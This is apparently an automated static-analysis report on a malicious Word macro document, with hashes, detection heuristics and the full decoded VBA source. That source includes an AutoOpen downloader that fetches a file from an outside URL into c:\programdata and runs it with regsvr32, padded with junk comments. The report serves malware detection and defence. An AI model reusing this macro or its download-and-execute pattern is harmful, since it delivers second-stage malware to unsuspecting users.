Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 84a07333851ed300…

MALICIOUS

Office (OOXML)

114.1 KB Created: 2020-07-01 09:36:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: 76884a3cf3a5d2f672afefafba340b48 SHA-1: 58b5c31350b8cebb3dd829b27e40cc67a83a59b9 SHA-256: 84a07333851ed300b34b34a026a58636844861e2d5265f2faabddddf05815f21
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' subroutine is triggered upon opening, which then calls the 'vY' function. This function is responsible for downloading a file from the URL 'http://detayworx.com/_vsnpNgyXp84Os8Xh.php?x=MDAwMSD7k0uWF2BKCkQGuSvAXqzhVD7pPpu-mirofSGC48QkKx26TywMByaP_nQjE_2EZXGfKy_H-gb2d-aDRgRbUwBi0XgbtTnVlugs38r3vI298UWyMzmQsvid4SyXJOUkCK4dpXj6mXuT7tTBXC3_-w~~' and saving it as 'c:\programdata\1.dat'. This indicates a downloader pattern, aiming to fetch and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function vY Lib "urlmon" Alias "URLDownloadToFileA" (ByVal fG As LongPtr, ByVal qJ As String, ByVal MI As String, ByVal Kx As LongPtr, ByVal bN As LongPtr) As Long
    #Else
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Dim s5 As New WshShell
    s5.exec "regsvr32 c:\programdata\1.dat"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "tm"
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://detayworx.com/_vsnpNgyXp84Os8Xh.php?x=MDAwMSD7k0uWF2BKCkQGuSvAXqzhVD7pPpu-mirofSGC48QkKx26TywMByaP_nQjE_2EZXGfKy_H-gb2d-aDRgRbUwBi0XgbtTnVlugs38r3vI298UWyMzmQsvid4SyXJOUkCK4dpXj6mXuT7tTBXC3_-w~~ Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2651 bytes
SHA-256: 7bda8c5b23d4e36ce1ef376a72c241d91ee97882e216a165d30adcb1a491fa1e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "tm"
Sub autoopen()

' Aberdeen
' Gd hazy module pedant prospects
' Variants tuning bermuda encourages not
Ok = vY(0, "http://detayworx.com/_vsnpNgyXp84Os8Xh.php?x=MDAwMSD7k0uWF2BKCkQGuSvAXqzhVD7pPpu-mirofSGC48QkKx26TywMByaP_nQjE_2EZXGfKy_H-gb2d-aDRgRbUwBi0XgbtTnVlugs38r3vI298UWyMzmQsvid4SyXJOUkCK4dpXj6mXuT7tTBXC3_-w~~", "c:\programdata\1.dat", 0, 0)

' Diplomat decoy io gage emergency nocturnal
' Prig briefs insulated
' Preceptor beverage regulations
eI
End Sub

Attribute VB_Name = "tm1"
Sub eI()

' Sensors tba sustenance northeast aureole spreading
' Ramshackle inclusive covered airfare specific twenty-second
' Solomon fp
' Bramble diagnosis til sie
' Billiard andes mass
' Rivet

' Diable subside presentable tuesday

' Showy clipped
' Declamation locally aw realistic zo
' Experiences flush
' Flags inane girt collins

' Mountains lick lime complaints durable
' Mightnt subsidiaries alliance devastation
' Untried es
' Accessing transferred waning horde appease

' Jill adverted mba
' Clinic pasta producers liz tex
' Speeds dresser lane execute eu persistence
' Crabs
' Liberated presidency

' Dross inappropriate spending undiscovered
' Function
' Worker driving

' Betrayer handled brittany gourd intense
' Perpetuate jubilation bridget overcrowded
' Obtuse coppice vi arrangement
' Abjured proposition receptor nasal
' Variability captor lovable
' Precious gnat anomaly correspondence impediment therefor yet
' Incidentally residuum

' Advisory hardihood
' Hierarchy sucker cascade intelligent
' Pantheism brigadier agreements
Dim s5 As New WshShell
s5.exec "regsvr32 c:\programdata\1.dat"

' Antiquarian bikes nominee
' Denudation intruder painful
' Duet emblematic posters adverbs archduke
' Supreme although crude trainer
End Sub

Attribute VB_Name = "u"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function vY Lib "urlmon" Alias "URLDownloadToFileA" (ByVal fG As LongPtr, ByVal qJ As String, ByVal MI As String, ByVal Kx As LongPtr, ByVal bN As LongPtr) As Long
#Else
Public Declare Function vY Lib "urlmon" Alias "URLDownloadToFileA"(ByVal fG As Long, ByVal qJ As String, ByVal MI As String, ByVal Kx As Long, ByVal bN As Long) As Long
#End If
Function Y(go)

' Daft beguile rift counterfeit
' Iceland smuggler adolescence messages
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20480 bytes
SHA-256: da14481ce4cd5757c970d93de8b7423c2f57020e13f40ccb53bb6e3001277594